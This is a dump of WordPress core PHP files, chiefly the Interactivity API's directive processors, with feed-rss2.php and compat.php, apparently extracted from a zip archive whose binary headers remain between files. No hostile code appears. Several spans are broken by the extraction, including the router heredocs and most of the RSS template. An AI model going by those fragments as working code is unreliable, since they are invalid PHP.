@param array $entry An array containing a whole directive entry with its namespace, value, suffix, or unique ID. * @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy. */ private function evaluate( $entry ) { $context = end( $this->context_stack ); ['namespace' => $ns, 'value' => $path] = $entry; if ( ! $ns || ! $path ) { /* translators: %s: The directive value referenced. */ $message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), json_encode( $entry ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } $store = array( 'state' => $this->state_data[ $ns ] ?? array(), 'context' => $context[ $ns ] ?? array(), ); // Checks if the reference path is preceded by a negation operator (!). $should_negate_value = '!' === $path[0]; $path = $should_negate_value ? substr( $path, 1 ) : $path; // Extracts the value from the store using the reference path. $path_segments = explode( '.', $path ); $current = $store; foreach ( $path_segments as $index => $path_segment ) { /* * Special case for numeric arrays and strings. Add length * property mimicking JavaScript behavior. * * @since 6.8.0 */ if ( 'length' === $path_segment ) { if ( is_array( $current ) && array_is_list( $current ) ) { $current = count( $current ); break; } if ( is_string( $current ) ) { /* * Differences in encoding between PHP strings and * JavaScript mean that it's complicated to calculate * the string length JavaScript would see from PHP. * `strlen` is a reasonable approximation. * * Users that desire a more precise length likely have * more precise needs than "bytelength" and should * implement their own length calculation in derived * state taking into account encoding and their desired * output (codepoints, graphemes, bytes, etc.). */ $current = strlen( $current ); break; } } if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) { $current = $current[ $path_segment ]; } elseif ( is_object( $current ) && isset( $current->$path_segment ) ) { $current = $current->$path_segment; } else { $current = null; break; } if ( $current instanceof Closure ) { /* * This state getter's namespace is added to the stack so that * `state()` or `get_config()` read that namespace when called * without specifying one. */ array_push( $this->namespace_stack, $ns ); try { $current = $current(); /* * Tracks derived state properties that are accessed during * rendering. * * @since 6.9.0 */ $this->derived_state_closures[ $ns ] = $this->derived_state_closures[ $ns ] ?? array(); // Builds path for the current property and add it to tracking if not already present. $current_path = implode( '.', array_slice( $path_segments, 0, $index + 1 ) ); if ( ! in_array( $current_path, $this->derived_state_closures[ $ns ], true ) ) { $this->derived_state_closures[ $ns ][] = $current_path; } } catch ( Throwable $e ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */ __( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ), $path, $ns ), '6.6.0' ); return null; } finally { // Remove the property's namespace from the stack. array_pop( $this->namespace_stack ); } } } // Returns the opposite if it contains a negation operator (!). return $should_negate_value ? ! $current : $current; } /** * Parse the directive name to extract the following parts: * - Prefix: The main directive name without "data-wp-". * - Suffix: An optional suffix used during directive processing, extracted after the first double hyphen "--". * - Unique ID: An optional unique identifier, extracted after the first triple hyphen "---". * * This function has an equivalent version for the client side. * See `parseDirectiveName` in https://github.com/WordPress/gutenberg/blob/trunk/packages/interactivity/src/vdom.ts.: * * See examples in the function unit tests `test_parse_directive_name`. * * @since 6.9.0 * * @param string $directive_name The directive attribute name. * @return array An array containing the directive prefix, optional suffix, and optional unique ID. */ private function parse_directive_name( string $directive_name ): ?array { // Remove the first 8 characters (assumes "data-wp-" prefix) $name = substr( $directive_name, 8 ); // Check for invalid characters (anything not a-z, 0-9, -, or _) if ( preg_match( '/[^a-z0-9\-_]/i', $name ) ) { return null; } // Find the first occurrence of '--' to separate the prefix $suffix_index = strpos( $name, '--' ); if ( false === $suffix_index ) { return array( 'prefix' => $name, 'suffix' => null, 'unique_id' => null, ); } $prefix = substr( $name, 0, $suffix_index ); $remaining = substr( $name, $suffix_index ); // If remaining starts with '---' but not '----', it's a unique_id if ( '---' === substr( $remaining, 0, 3 ) && '-' !== ( $remaining[3] ?? '' ) ) { return array( 'prefix' => $prefix, 'suffix' => null, 'unique_id' => '---' !== $remaining ? substr( $remaining, 3 ) : null, ); } // Otherwise, remove the first two dashes for a potential suffix $suffix = substr( $remaining, 2 ); // Look for '---' in the suffix for a unique_id $unique_id_index = strpos( $suffix, '---' ); if ( false !== $unique_id_index && '-' !== ( $suffix[ $unique_id_index + 3 ] ?? '' ) ) { $unique_id = substr( $suffix, $unique_id_index + 3 ); $suffix = substr( $suffix, 0, $unique_id_index ); return array( 'prefix' => $prefix, 'suffix' => empty( $suffix ) ? null : $suffix, 'unique_id' => empty( $unique_id ) ? null : $unique_id, ); } return array( 'prefix' => $prefix, 'suffix' => empty( $suffix ) ? null : $suffix, 'unique_id' => null, ); } /** * Parses and extracts the namespace and reference path from the given * directive attribute value. * * If the value doesn't contain an explicit namespace, it returns the * default one. If the value contains a JSON object instead of a reference * path, the function tries to parse it and return the resulting array. If * the value contains strings that represent booleans ("true" and "false"), * numbers ("1" and "1.2") or "null", the function also transform them to * regular booleans, numbers and `null`. * * Example: * * extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' ) * extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' ) * extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) ) * extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) ) * * @since 6.5.0 * * @param string|true $directive_value The directive attribute value. It can be `true` when it's a boolean * attribute. * @param string|null $default_namespace Optional. The default namespace if none is explicitly defined. * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the * second item. */ private function extract_directive_value( $directive_value, $default_namespace = null ): array { if ( empty( $directive_value ) || is_bool( $directive_value ) ) { return array( $default_namespace, null ); } // Replaces the value and namespace if there is a namespace in the value. if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) { list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 ); } /* * Tries to decode the value as a JSON object. If it fails and the value * isn't `null`, it returns the value as it is. Otherwise, it returns the * decoded JSON or null for the string `null`. */ $decoded_json = json_decode( $directive_value, true ); if ( null !== $decoded_json || 'null' === $directive_value ) { $directive_value = $decoded_json; } return array( $default_namespace, $directive_value ); } /** * Parse the HTML element and get all the valid directives with the given prefix. * * @since 6.9.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $prefix The directive prefix to filter by. * @return array An array of entries containing the directive namespace, value, suffix, and unique ID. */ private function get_directive_entries( WP_Interactivity_API_Directives_Processor $p, string $prefix ) { $directive_attributes = $p->get_attribute_names_with_prefix( 'data-wp-' . $prefix ); $entries = array(); foreach ( $directive_attributes as $attribute_name ) { [ 'prefix' => $attr_prefix, 'suffix' => $suffix, 'unique_id' => $unique_id] = $this->parse_directive_name( $attribute_name ); // Ensure it is the desired directive. if ( $prefix !== $attr_prefix ) { continue; } list( $namespace, $value ) = $this->extract_directive_value( $p->get_attribute( $attribute_name ), end( $this->namespace_stack ) ); $entries[] = array( 'namespace' => $namespace, 'value' => $value, 'suffix' => $suffix, 'unique_id' => $unique_id, ); } // Sort directive entries to ensure stable ordering with the client. // Put nulls first, then sort by suffix and finally by uniqueIds. usort( $entries, function ( $a, $b ) { $a_suffix = $a['suffix'] ?? ''; $b_suffix = $b['suffix'] ?? ''; if ( $a_suffix !== $b_suffix ) { return $a_suffix < $b_suffix ? -1 : 1; } $a_id = $a['unique_id'] ?? ''; $b_id = $b['unique_id'] ?? ''; if ( $a_id === $b_id ) { return 0; } return $a_id > $b_id ? 1 : -1; } ); return $entries; } /** * Transforms a kebab-case string to camelCase. * * @since 6.5.0 * * @param string $str The kebab-case string to transform to camelCase. * @return string The transformed camelCase string. */ private function kebab_to_camel_case( string $str ): string { return lcfirst( preg_replace_callback( '/(-)([a-z])/', function ( $matches ) { return strtoupper( $matches[2] ); }, strtolower( rtrim( $str, '-' ) ) ) ); } /** * Processes the `data-wp-interactive` directive. * * It adds the default store namespace defined in the directive value to the * stack so that it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last namespace from the stack. if ( 'exit' === $mode ) { array_pop( $this->namespace_stack ); return; } // Tries to decode the `data-wp-interactive` attribute value. $attribute_value = $p->get_attribute( 'data-wp-interactive' ); /* * Pushes the newly defined namespace or the current one if the * `data-wp-interactive` definition was invalid or does not contain a * namespace. It does so because the function pops out the current namespace * from the stack whenever it finds a `data-wp-interactive`'s closing tag, * independently of whether the previous `data-wp-interactive` definition * contained a valid namespace. */ $new_namespace = null; if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) { $decoded_json = json_decode( $attribute_value, true ); if ( is_array( $decoded_json ) ) { $new_namespace = $decoded_json['namespace'] ?? null; } else { $new_namespace = $attribute_value; } } $this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) ) ? $new_namespace : end( $this->namespace_stack ); } /** * Processes the `data-wp-context` directive. * * It adds the context defined in the directive value to the stack so that * it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last context from the stack. if ( 'exit' === $mode ) { array_pop( $this->context_stack ); return; } $entries = $this->get_directive_entries( $p, 'context' ); $context = end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(); foreach ( $entries as $entry ) { if ( null !== $entry['suffix'] ) { continue; } $context = array_replace_recursive( $context, array( $entry['namespace'] => is_array( $entry['value'] ) ? $entry['value'] : array() ) ); } $this->context_stack[] = $context; } /** * Processes the `data-wp-bind` directive. * * It updates or removes the bound attributes based on the evaluation of its * associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $entries = $this->get_directive_entries( $p, 'bind' ); foreach ( $entries as $entry ) { if ( empty( $entry['suffix'] ) || null !== $entry['unique_id'] ) { return; } // Skip if the suffix is an event handler. if ( str_starts_with( $entry['suffix'], 'on' ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: The directive, e.g. data-wp-on--click. */ __( 'Binding event handler attributes is not supported. Please use "%s" instead.' ), esc_attr( 'data-wp-on--' . substr( $entry['suffix'], 2 ) ) ), '6.9.2' ); continue; } $result = $this->evaluate( $entry ); if ( null !== $result && ( false !== $result || ( strlen( $entry['suffix'] ) > 5 && '-' === $entry['suffix'][4] ) ) ) { /* * If the result of the evaluation is a boolean and the attribute is * `aria-` or `data-, convert it to a string "true" or "false". It * follows the exact same logic as Preact because it needs to * replicate what Preact will later do in the client: * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136 */ if ( is_bool( $result ) && ( strlen( $entry['suffix'] ) > 5 && '-' === $entry['suffix'][4] ) ) { $result = $result ? 'true' : 'false'; } $p->set_attribute( $entry['suffix'], $result ); } else { $p->remove_attribute( $entry['suffix'] ); } } } } /** * Processes the `data-wp-class` directive. * * It adds or removes CSS classes in the current HTML element based on the * evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' ); $entries = $this->get_directive_entries( $p, 'class' ); foreach ( $entries as $entry ) { if ( empty( $entry['suffix'] ) ) { continue; } $class_name = isset( $entry['unique_id'] ) && $entry['unique_id'] ? "{$entry['suffix']}---{$entry['unique_id']}" : $entry['suffix']; if ( empty( $class_name ) ) { return; } $result = $this->evaluate( $entry ); if ( $result ) { $p->add_class( $class_name ); } else { $p->remove_class( $class_name ); } } } } /** * Processes the `data-wp-style` directive. * * It updates the style attribute value of the current HTML element based on * the evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $entries = $this->get_directive_entries( $p, 'style' ); foreach ( $entries as $entry ) { $style_property = $entry['suffix']; if ( empty( $style_property ) || null !== $entry['unique_id'] ) { continue; } $style_property_value = $this->evaluate( $entry ); $style_attribute_value = $p->get_attribute( 'style' ); $style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : ''; /* * Checks first if the style property is not falsy and the style * attribute value is not empty because if it is, it doesn't need to * update the attribute value. */ if ( $style_property_value || $style_attribute_value ) { $style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value ); /* * If the style attribute value is not empty, it sets it. Otherwise, * it removes it. */ if ( ! empty( $style_attribute_value ) ) { $p->set_attribute( 'style', $style_attribute_value ); } else { $p->remove_attribute( 'style' ); } } } } } /** * Merges an individual style property in the `style` attribute of an HTML * element, updating or removing the property when necessary. * * If a property is modified, the old one is removed and the new one is added * at the end of the list. * * @since 6.5.0 * * Example: * * merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;' * merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;' * merge_style_property( 'color:green;', 'color', null ) => '' * * @param string $style_attribute_value The current style attribute value. * @param string $style_property_name The style property name to set. * @param string|false|null $style_property_value The value to set for the style property. With false, null or an * empty string, it removes the style property. * @return string The new style attribute value after the specified property has been added, updated or removed. */ private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string { $style_assignments = explode( ';', $style_attribute_value ); $result = array(); $style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null; $new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : ''; // Generates an array with all the properties but the modified one. foreach ( $style_assignments as $style_assignment ) { if ( empty( trim( $style_assignment ) ) ) { continue; } list( $name, $value ) = explode( ':', $style_assignment ); if ( trim( $name ) !== $style_property_name ) { $result[] = trim( $name ) . ':' . trim( $value ) . ';'; } } // Adds the new/modified property at the end of the list. $result[] = $new_style_property; return implode( '', $result ); } /** * Processes the `data-wp-text` directive. * * It updates the inner content of the current HTML element based on the * evaluation of its associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $entries = $this->get_directive_entries( $p, 'text' ); $valid_entry = null; // Get the first valid `data-wp-text` entry without suffix or unique ID. foreach ( $entries as $entry ) { if ( null === $entry['suffix'] && null === $entry['unique_id'] && ! empty( $entry['value'] ) ) { $valid_entry = $entry; break; } } if ( null === $valid_entry ) { return; } $result = $this->evaluate( $valid_entry ); /* * Follows the same logic as Preact in the client and only changes the * content if the value is a string or a number. Otherwise, it removes the * content. */ if ( is_string( $result ) || is_numeric( $result ) ) { $p->set_content_between_balanced_tags( esc_html( $result ) ); } else { $p->set_content_between_balanced_tags( '' ); } } } /** * Returns the CSS styles for animating the top loading bar in the router. * * @since 6.5.0 * * @return string The CSS styles for the router's top loading bar animation. */ private function get_router_animation_styles(): string { return <<print_router_markup(); } /** * Outputs markup for the @wordpress/interactivity-router script module. * * This method prints a div element representing a loading bar visible during * navigation. * * @since 6.7.0 */ public function print_router_markup() { echo <<
    HTML; } /** * Processes the `data-wp-router-region` directive. * * It renders in the footer a set of HTML elements to notify users about * client-side navigations. More concretely, the elements added are 1) a * top loading bar to visually inform that a navigation is in progress * and 2) an `aria-live` region for accessible navigation announcements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode && ! $this->has_processed_router_region ) { $this->has_processed_router_region = true; // Enqueues as an inline style. wp_register_style( 'wp-interactivity-router-animations', false ); wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() ); wp_enqueue_style( 'wp-interactivity-router-animations' ); // Adds the necessary markup to the footer. add_action( 'wp_footer', array( $this, 'print_router_markup' ) ); } } /** * Processes the `data-wp-each` directive. * * This directive gets an array passed as reference and iterates over it * generating new content for each item based on the inner markup of the * `template` tag. * * @since 6.5.0 * @since 6.9.0 Include the list path in the rendered `data-wp-each-child` directives. * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. * @param array $tag_stack The reference to the tag stack. */ private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) { if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) { $entries = $this->get_directive_entries( $p, 'each' ); if ( count( $entries ) > 1 || empty( $entries ) ) { // There should be only one `data-wp-each` directive per template tag. return; } $entry = $entries[0]; if ( null !== $entry['unique_id'] ) { return; } $item_name = isset( $entry['suffix'] ) ? $this->kebab_to_camel_case( $entry['suffix'] ) : 'item'; $result = $this->evaluate( $entry ); // Gets the content between the template tags and leaves the cursor in the closer tag. $inner_content = $p->get_content_between_balanced_template_tags(); // Checks if there is a manual server-side directive processing. $template_end = 'data-wp-each: template end'; $p->set_bookmark( $template_end ); $p->next_tag(); $manual_sdp = $p->get_attribute( 'data-wp-each-child' ); $p->seek( $template_end ); // Rewinds to the template closer tag. $p->release_bookmark( $template_end ); /* * It doesn't process in these situations: * - Manual server-side directive processing. * - Empty or non-array values. * - Associative arrays because those are deserialized as objects in JS. * - Templates that contain top-level texts because those texts can't be * identified and removed in the client. */ if ( $manual_sdp || empty( $result ) || ! is_array( $result ) || ! array_is_list( $result ) || ! str_starts_with( trim( $inner_content ), '<' ) || ! str_ends_with( trim( $inner_content ), '>' ) ) { array_pop( $tag_stack ); return; } // Processes the inner content for each item of the array. $processed_content = ''; foreach ( $result as $item ) { // Creates a new context that includes the current item of the array. $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $entry['namespace'] => array( $item_name => $item ) ) ); // Processes the inner content with the new context. $processed_item = $this->_process_directives( $inner_content ); if ( null === $processed_item ) { // If the HTML is unbalanced, stop processing it. array_pop( $this->context_stack ); return; } /* * Adds the `data-wp-each-child` directive to each top-level tag * rendered by this `data-wp-each` directive. The value is the * `data-wp-each` directive's namespace and path. * * Nested `data-wp-each` directives could render * `data-wp-each-child` elements at the top level as well, and * they should be overwritten. * * @since 6.9.0 */ $i = new WP_Interactivity_API_Directives_Processor( $processed_item ); while ( $i->next_tag() ) { $i->set_attribute( 'data-wp-each-child', $entry['namespace'] . '::' . $entry['value'] ); $i->next_balanced_tag_closer_tag(); } $processed_content .= $i->get_updated_html(); // Removes the current context from the stack. array_pop( $this->context_stack ); } // Appends the processed content after the tag closer of the template. $p->append_content_after_template_tag_closer( $processed_content ); // Pops the last tag because it skipped the closing tag of the template tag. array_pop( $tag_stack ); } } } PK!C7F!TTEinteractivity-api/class-wp-interactivity-api-directives-processor.phpnuȯÝíget_tag() ) { return null; } $positions = $this->get_after_opener_tag_and_before_closer_tag_positions(); if ( ! $positions ) { return null; } list( $after_opener_tag, $before_closer_tag ) = $positions; return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag ); } /** * Sets the content between two balanced tags. * * @since 6.5.0 * * @access private * * @param string $new_content The string to replace the content between the matching tags. * @return bool Whether the content was successfully replaced. */ public function set_content_between_balanced_tags( string $new_content ): bool { $positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true ); if ( ! $positions ) { return false; } list( $after_opener_tag, $before_closer_tag ) = $positions; $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_opener_tag, $before_closer_tag - $after_opener_tag, esc_html( $new_content ) ); return true; } /** * Appends content after the closing tag of a template tag. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @since 6.5.0 * * @access private * * @param string $new_content The string to append after the closing template tag. * @return bool Whether the content was successfully appended. */ public function append_content_after_template_tag_closer( string $new_content ): bool { if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) { return false; } // Flushes any changes. $this->get_updated_html(); $bookmark = 'append_content_after_template_tag_closer'; $this->set_bookmark( $bookmark ); $after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length; $this->release_bookmark( $bookmark ); // Appends the new content. $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content ); return true; } /** * Gets the positions right after the opener tag and right before the closer * tag in a balanced tag. * * By default, it positions the cursor in the closer tag of the balanced tag. * If $rewind is true, it seeks back to the opener tag. * * @since 6.5.0 * * @access private * * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false. * @return array|null Start and end byte position, or null when no balanced tag bookmarks. */ private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) { // Flushes any changes. $this->get_updated_html(); $bookmarks = $this->get_balanced_tag_bookmarks(); if ( ! $bookmarks ) { return null; } list( $opener_tag, $closer_tag ) = $bookmarks; $after_opener_tag = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length; $before_closer_tag = $this->bookmarks[ $closer_tag ]->start; if ( $rewind ) { $this->seek( $opener_tag ); } $this->release_bookmark( $opener_tag ); $this->release_bookmark( $closer_tag ); return array( $after_opener_tag, $before_closer_tag ); } /** * Returns a pair of bookmarks for the current opener tag and the matching * closer tag. * * It positions the cursor in the closer tag of the balanced tag, if it * exists. * * @since 6.5.0 * * @return array|null A pair of bookmarks, or null if there's no matching closing tag. */ private function get_balanced_tag_bookmarks() { static $i = 0; $opener_tag = 'opener_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $opener_tag ); if ( ! $this->next_balanced_tag_closer_tag() ) { $this->release_bookmark( $opener_tag ); return null; } $closer_tag = 'closer_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $closer_tag ); return array( $opener_tag, $closer_tag ); } /** * Skips processing the content between tags. * * It positions the cursor in the closer tag of the foreign element, if it * exists. * * This function is intended to skip processing SVG and MathML inner content * instead of bailing out the whole processing. * * @since 6.5.0 * * @access private * * @return bool Whether the foreign content was successfully skipped. */ public function skip_to_tag_closer(): bool { $depth = 1; $tag_name = $this->get_tag(); while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) { if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag. */ $message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } if ( $this->get_tag() === $tag_name ) { if ( $this->has_self_closing_flag() ) { continue; } $depth += $this->is_tag_closer() ? -1 : 1; } } return 0 === $depth; } /** * Finds the matching closing tag for an opening tag. * * When called while the processor is on an open tag, it traverses the HTML * until it finds the matching closer tag, respecting any in-between content, * including nested tags of the same name. Returns false when called on a * closer tag, a tag that doesn't have a closer tag (void), a tag that * doesn't visit the closer tag, or if no matching closing tag was found. * * @since 6.5.0 * * @access private * * @return bool Whether a matching closing tag was found. */ public function next_balanced_tag_closer_tag(): bool { $depth = 0; $tag_name = $this->get_tag(); if ( ! $this->has_and_visits_its_closer_tag() ) { return false; } while ( $this->next_tag( array( 'tag_name' => $tag_name, 'tag_closers' => 'visit', ) ) ) { if ( ! $this->is_tag_closer() ) { ++$depth; continue; } if ( 0 === $depth ) { return true; } --$depth; } return false; } /** * Checks whether the current tag has and will visit its matching closer tag. * * @since 6.5.0 * * @access private * * @return bool Whether the current tag has a closer tag. */ public function has_and_visits_its_closer_tag(): bool { $tag_name = $this->get_tag(); return null !== $tag_name && ( ! WP_HTML_Processor::is_void( $tag_name ) && ! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true ) ); } } PK!Å´ ªª'interactivity-api/interactivity-api.phpnuȯÝíprocess_directives( $html ); } /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * The namespace can be omitted inside derived state getters, using the * namespace where the getter is defined. * * @since 6.5.0 * @since 6.6.0 The namespace can be omitted when called inside derived state getters. * * @param string $store_namespace The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The state for the specified store namespace. This will be the updated state if a $state argument was * provided. */ function wp_interactivity_state( ?string $store_namespace = null, array $state = array() ): array { return wp_interactivity()->state( $store_namespace, $state ); } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ function wp_interactivity_config( string $store_namespace, array $config = array() ): array { return wp_interactivity()->config( $store_namespace, $config ); } /** * Generates a `data-wp-context` directive attribute by encoding a context * array. * * This helper function simplifies the creation of `data-wp-context` directives * by providing a way to pass an array of data, which encodes into a JSON string * safe for direct use as a HTML attribute value. * * Example: * *
    true, 'count' => 0 ) ); ?>> * * @since 6.5.0 * * @param array $context The array of context data to encode. * @param string $store_namespace Optional. The unique store namespace identifier. * @return string A complete `data-wp-context` directive with a JSON encoded value representing the context array and * the store namespace if specified. */ function wp_interactivity_data_wp_context( array $context, string $store_namespace = '' ): string { return 'data-wp-context=\'' . ( $store_namespace ? $store_namespace . '::' : '' ) . ( empty( $context ) ? '{}' : wp_json_encode( $context, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP ) ) . '\''; } /** * Gets the current Interactivity API context for a given namespace. * * The function should be used only during directive processing. If the * `$store_namespace` parameter is omitted, it uses the current namespace value * on the internal namespace stack. * * It returns an empty array when the specified namespace is not defined. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. * @return array The context for the specified store namespace. */ function wp_interactivity_get_context( ?string $store_namespace = null ): array { return wp_interactivity()->get_context( $store_namespace ); } /** * Returns an array representation of the current element being processed. * * The function should be used only during directive processing. * * @since 6.7.0 * * @return array{attributes: array}|null Current element. */ function wp_interactivity_get_element(): ?array { return wp_interactivity()->get_element(); } PK!àÐ×× feed-rss2.phpnu&1i„'; /** * Fires between the xml and rss tags in a feed. * * @since 4.0.0 * * @param string $context Type of feed. Possible values include 'rss2', 'rss2-comments', * 'rdf', 'atom', and 'atom-comments'. */ do_action( 'rss_tag_pre', 'rss2' ); ?> > <?php wp_title_rss(); ?> <?php the_title_rss(); ?> ]]> ]]> ]]> 0 ) : ?> ]]> ]]> PK!b$¦C¦E¦E compat.phpnuȯÝí 'utf-8' ] ); * * `is_utf8_charset` should be used outside of this file. * * @ignore * @since 6.6.1 * * @param string $charset_slug Slug representing a text character encoding, or "charset". * E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS". * * @return bool Whether the slug represents the UTF-8 encoding. */ function _is_utf8_charset( $charset_slug ) { if ( ! is_string( $charset_slug ) ) { return false; } return ( 0 === strcasecmp( 'UTF-8', $charset_slug ) || 0 === strcasecmp( 'UTF8', $charset_slug ) ); } if ( ! function_exists( 'mb_substr' ) ) : /** * Compat function to mimic mb_substr(). * * @ignore * @since 3.2.0 * * @see _mb_substr() * * @param string $string The string to extract the substring from. * @param int $start Position to being extraction from in `$string`. * @param int|null $length Optional. Maximum number of characters to extract from `$string`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function mb_substr( $string, $start, $length = null, $encoding = null ) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _mb_substr( $string, $start, $length, $encoding ); } endif; /** * Internal compat function to mimic mb_substr(). * * Only supports UTF-8 and non-shifting single-byte encodings. For all other encodings * expect the substrings to be misaligned. When the given encoding (or the `blog_charset` * if none is provided) isn’t UTF-8 then the function returns the output of {@see \substr()}. * * @ignore * @since 3.2.0 * * @param string $str The string to extract the substring from. * @param int $start Character offset at which to start the substring extraction. * @param int|null $length Optional. Maximum number of characters to extract from `$str`. * Default null. * @param string|null $encoding Optional. Character encoding to use. Default null. * @return string Extracted substring. */ function _mb_substr( $str, $start, $length = null, $encoding = null ) { if ( null === $str ) { return ''; } // The solution below works only for UTF-8; treat all other encodings as byte streams. if ( ! _is_utf8_charset( $encoding ?? get_option( 'blog_charset' ) ) ) { return is_null( $length ) ? substr( $str, $start ) : substr( $str, $start, $length ); } $total_length = ( $start < 0 || $length < 0 ) ? _wp_utf8_codepoint_count( $str ) : 0; $normalized_start = $start < 0 ? max( 0, $total_length + $start ) : $start; /* * The starting offset is provided as characters, which means this needs to * find how many bytes that many characters occupies at the start of the string. */ $starting_byte_offset = _wp_utf8_codepoint_span( $str, 0, $normalized_start ); $normalized_length = $length < 0 ? max( 0, $total_length - $normalized_start + $length ) : $length; /* * This is the main step. It finds how many bytes the given length of code points * occupies in the input, starting at the byte offset calculated above. */ $byte_length = isset( $normalized_length ) ? _wp_utf8_codepoint_span( $str, $starting_byte_offset, $normalized_length ) : ( strlen( $str ) - $starting_byte_offset ); // The result is a normal byte-level substring using the computed ranges. return substr( $str, $starting_byte_offset, $byte_length ); } if 